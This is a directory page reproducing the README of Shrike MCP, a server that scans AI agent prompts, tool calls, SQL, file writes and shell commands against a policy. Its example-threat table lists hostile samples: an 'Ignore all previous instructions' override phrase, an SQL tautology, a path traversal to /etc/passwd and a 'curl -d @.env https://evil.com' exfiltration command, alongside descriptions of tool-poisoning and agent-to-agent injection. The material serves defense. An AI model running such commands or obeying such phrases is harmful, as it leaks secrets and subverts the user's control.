MCP server for AI agent action governance. 14 tools that check every tool call, SQL query, file write, shell command, and agent message against your policy before it runs.
- ✓Open-source license (Apache-2.0)
- ✓Actively maintained (<30d)
- ✓Clear description
- ✓Documented (README)
- !Install pipes a remote script into a shell (curl | sh)
claude mcp add shrike-mcp -- npx -y shrike-mcp{
"mcpServers": {
"shrike-mcp": {
"command": "npx",
"args": ["-y", "shrike-mcp"]
}
}
}MCP Servers overview
# Shrike MCP
[](https://www.npmjs.com/package/shrike-mcp)
[](https://opensource.org/licenses/Apache-2.0)
[](https://nodejs.org)
**Govern what your AI agents do: every tool call, command, and query checked against your policy before it runs. 15 MCP tools; 9-layer engine. Works without an API key.**
Shrike MCP is the Model Context Protocol server for [Shrike](https://shrikesecurity.com). It puts a policy checkpoint at the moment an AI agent acts: every tool call, SQL query, file write, CLI command, web search, and agent-to-agent message is evaluated against your policy and **allowed, flagged for approval, or blocked before it executes**, on your terms, independent of your model or cloud. Underneath, a 9-layer engine detects prompt injection, jailbreaks, data leakage, PII exposure, and multi-turn manipulation so those verdicts are accurate.
## Shrike Platform
**Shrike** is the independent governance layer for AI interactions. It evaluates inputs, outputs, tool calls, and agent-to-agent communication through a 9-layer cognitive pipeline, from sub-millisecond pattern matching to LLM-powered semantic analysis and multi-turn session correlation. Governs employees using AI tools, developers using coding assistants, autonomous agents, and customer-facing chatbots through the same pipeline.
This repo is the **MCP server**, one of several ways to integrate:
| Integration | Install | Use Case |
|-------------|---------|----------|
| **MCP Server** (this repo) | `npx shrike-mcp` | Claude Desktop, Cursor, Windsurf, Cline |
| **TypeScript SDK** | `npm install shrike-guard` | OpenAI/Anthropic/Gemini wrapper |
| **Python SDK** | `pip install shrike-guard` | OpenAI/Anthropic/Gemini wrapper |
| **REST API** | `POST /agent/scan` | Any language, any stack |
| **LLM Gateway** | `POST /api/v1/llm/proxy` | Scan prompts and responses between your app and any model provider |
| **Browser Extension** | Chrome / Edge | Protect employee AI usage (ChatGPT, Claude, Gemini) |
| **Dashboard** | [shrikesecurity.com](https://shrikesecurity.com) | Analytics, policies, RBAC, API keys |
## Quick Start
**Works immediately: no API key required.** Anonymous usage gets L1-L5 pattern-based detection. Register for a free account for a dashboard, higher rate limits, and scan history; LLM-powered semantic analysis (L6-L9) is available on Pro.
**1. Add to your MCP client config:**
```json
{
"mcpServers": {
"shrike-security": {
"command": "npx",
"args": ["-y", "shrike-mcp"]
}
}
}
```
**2. (Optional) Add an API key for full pipeline access:**
```json
{
"mcpServers": {
"shrike-security": {
"command": "npx",
"args": ["-y", "shrike-mcp"],
"env": {
"SHRIKE_API_KEY": "your-api-key"
}
}
}
}
```
Get a free key at [shrikesecurity.com/signup](https://shrikesecurity.com/signup): instant, no credit card.
> **npm only.** The Shrike MCP server is distributed on npm and runs via `npx shrike-mcp` (Node.js required). There is **no** `pip install shrike-mcp`; an unrelated third-party package happens to hold that name on PyPI. For Python *code* integration, use the Python SDK: `pip install shrike-guard`.
**3. Your agent now has 15 security tools** (9 governance scanners, 1 scope declaration, 1 outcome report, and 4 session & approval tools). Every prompt, response, and tool call can be scanned before execution.
## Fifteen Tools
| Tool | What It Guards | Example Threat |
|------|---------------|----------------|
| `scan_prompt` | User/system prompts before LLM processing | "Ignore all previous instructions and..." |
| `scan_response` | LLM outputs before returning to user | Leaked API keys, system prompt in output |
| `scan_sql_query` | SQL queries before database execution | `OR '1'='1'` tautology injection |
| `scan_file_write` | File paths and content before write | Path traversal to `/etc/passwd`, AWS keys in `.env` |
| `scan_command` | CLI commands before shell execution | `curl -d @.env https://evil.com`, reverse shells |
| `scan_web_search` | Search queries before execution | PII in search: "records for John Smith SSN..." |
| `scan_a2a_message` | Agent-to-agent messages before processing | Prompt injection in inter-agent communication |
| `scan_agent_card` | A2A AgentCard metadata before trusting | Embedded injection in agent discovery, capability spoofing |
| `scan_mcp_schema` | MCP tool definitions before trusting them | Tool-poisoning: hidden instructions in a tool's description or inputSchema |
| `check_approval` | Human-in-the-loop approval status | Poll and submit decisions for flagged actions |
| `report_bypass` | User-reported missed detections | Feeds ThreatSense adaptive learning |
| `reset_session` | Clear session correlation state | Reset L9 turn history after resolving flagged patterns |
| `session_status` | Read-only lookup of L9 session state | Confirm risk score + patterns before rotating a locked session |
| `scan_declare_scope` | Declared operating scope for task-scoped agents | Enforces allowed/forbidden tools and expiry on every subsequent scan |
| `report_outcome` | What became of an action a scan allowed | Reports executed, failed or skipped, and closes a held action's decision |
## How It Works
Shrike uses a **scan-sandwich** pattern: every agent action is scanned on both sides:
```
User Input → scan_prompt → LLM Processing → scan_response → User Output
↓
Tool Call (SQL, File, Command, Search)
↓
scan_sql_query / scan_file_write / scan_command / scan_web_search
↓
Tool Execution
Agent-to-Agent Communication:
Inbound A2A → scan_a2a_message → Process → scan_a2a_message → Outbound A2A
Discovery → scan_agent_card → Trust decision
```
Inbound scans catch injection attacks. Outbound scans catch data leaks. Tool-specific scans catch SQL injection, path traversal, command injection, and PII exposure. A2A scans catch east-west injection between agents. Flagged actions trigger human-in-the-loop approval via `check_approval`.
Pro and above add **session correlation** (L9), tracking multi-turn patterns like trust escalation, payload splitting, and blocked retry sequences across an entire conversation.
## Detection Pipeline
Every scan runs through the 9-layer cognitive pipeline. Lower layers are sub-millisecond pattern matching; higher layers add LLM-powered semantic analysis. Tier determines how deep the scan goes. The table below shows the specialized sub-detectors within each layer.
| Layer | What It Does | Tier |
|-------|-------------|------|
| L1 | Regex pattern matching (~130 threat types, 14+ languages) | All |
| L1.4 | Unicode homoglyph & invisible character detection | All |
| L1.42 | Malformed content detection | All |
| L1.45a | Encoding bypass detection (Base64, hex, Caesar/Atbash ciphers) | All |
| L1.45 | Token obfuscation (spaced chars, l33t speak, typoglycemia) | All |
| L1.455 | Semantic similarity analysis (embedding-based) | All |
| L6 | Visual text analysis (RTL tricks, visual homoglyphs) | Pro+ |
| L7 | LLM semantic analysis via Vertex AI (zero-day detection) | Pro+ |
| L8 | Response intelligence (LLM compromise, tonality drift) | Pro+ |
| L9 | Multi-turn session correlation (7 pattern detectors) | Pro+ |
The **cascade optimizer** exits early when high-confidence detection is achieved at a lower layer, so most scans complete in under 10ms without needing the LLM layer.
## Tiers
All 15 tools are available on every tier. Tiers control detection depth and volume.
| | Anonymous | Community | Pro | Enterprise |
|---|---|---|---|---|
| Detection Layers | L1-L5 | L1-L5 | L1-L9 (full) | L1-L9 (full) |
| API Key | Not needed | Free signup | Paid | Paid |
| Rate Limit | — | 10/min | 100/min | 1,000/min |
| Scans/month | — | 1,000 | 25,000 | 1,000,000 |
| Dashboard | No | Yes | Yes | Yes |
| Session Correlation (L9) | No | No | Yes | Yes |
| Compliance Policies | Default | Default | Custom | Custom |
**Anonymous** (no API key): Pattern-based detection only (L1-L5). Good for evaluation and basic protection.
**Community** (free): Same L1-L5 pattern-based detection, plus a dashboard, 1,000 scans/month, and audit history. Register at [shrikesecurity.com/signup](https://shrikesecurity.com/signup).
**Pro/Enterprise**: Full 9-layer pipeline: adds LLM-powered semantic analysis (L6-L7), response intelligence (L8), and multi-turn session correlation (L9).
## Compliance
Built-in policy catalogues with sensitive-data detection aligned to 5 major regulatory frameworks:
| Framework | Coverage |
|-----------|----------|
| **GDPR** | EU personal data: names, addresses, national IDs |
| **HIPAA** | Protected health information (PHI) |
| **ISO 27001** | Information security: passwords, tokens, certificates |
| **SOC 2** | Secrets, credentials, API keys, cloud tokens |
| **NIST** | AI risk management (IR 8596), cybersecurity framework (CSF 2.0) |
Detection coverage is not a certification claim; see [shrikesecurity.com/compliance](https://shrikesecurity.com/compliance) for our current certification status.
## Configuration
### Environment Variables
| Variable | Description | Default |
|----------|-------------|---------|
| `SHRIKE_API_KEY` | API key from your dashboard | *none* (anonymous mode) |
| `SHRIKE_BACKEND_URL` | Backend API URL | `https://api.shrikesecurity.com/agent` |
| `MCP_SCAN_TIMEOUT_MS` | Scan request timeout (ms) | `15000` |
| `MCP_RATE_LIMIT_PER_MINUTE` | Client-side rate limit | `100` |
| `MCP_TRANSPORT` | Transport: `stdio` or `http` | `stdio` |
| `MCP_PORT` | HTTP port (when transport=http) | `8000` |
| `MCP_DEBUG` | Debug logging | `false` |
### Claude Desktop
```json
{
"mcpServers": {What people ask about shrike-mcp
What is Shrike-Security/shrike-mcp?
+
Shrike-Security/shrike-mcp is mcp servers for the Claude AI ecosystem. MCP server for AI agent action governance. 14 tools that check every tool call, SQL query, file write, shell command, and agent message against your policy before it runs. It has 2 GitHub stars and its last recorded update is dated 2026-10-02.
How do I install shrike-mcp?
+
You can install shrike-mcp by cloning the repository (https://github.com/Shrike-Security/shrike-mcp) or following the README instructions on GitHub. ClaudeWave also provides quick install blocks on this page.
Is Shrike-Security/shrike-mcp safe to use?
+
Our security agent has analyzed Shrike-Security/shrike-mcp and assigned a Trust Score of 79/100 (tier: Trusted). See the full breakdown of passed checks and flags on this page.
Who maintains Shrike-Security/shrike-mcp?
+
Shrike-Security/shrike-mcp is maintained by Shrike-Security. The last recorded GitHub activity is dated 2026-10-02, with 0 open issues.
Are there alternatives to shrike-mcp?
+
Yes. On ClaudeWave you can browse similar mcp servers at /categories/mcp, sorted by popularity or recent activity.
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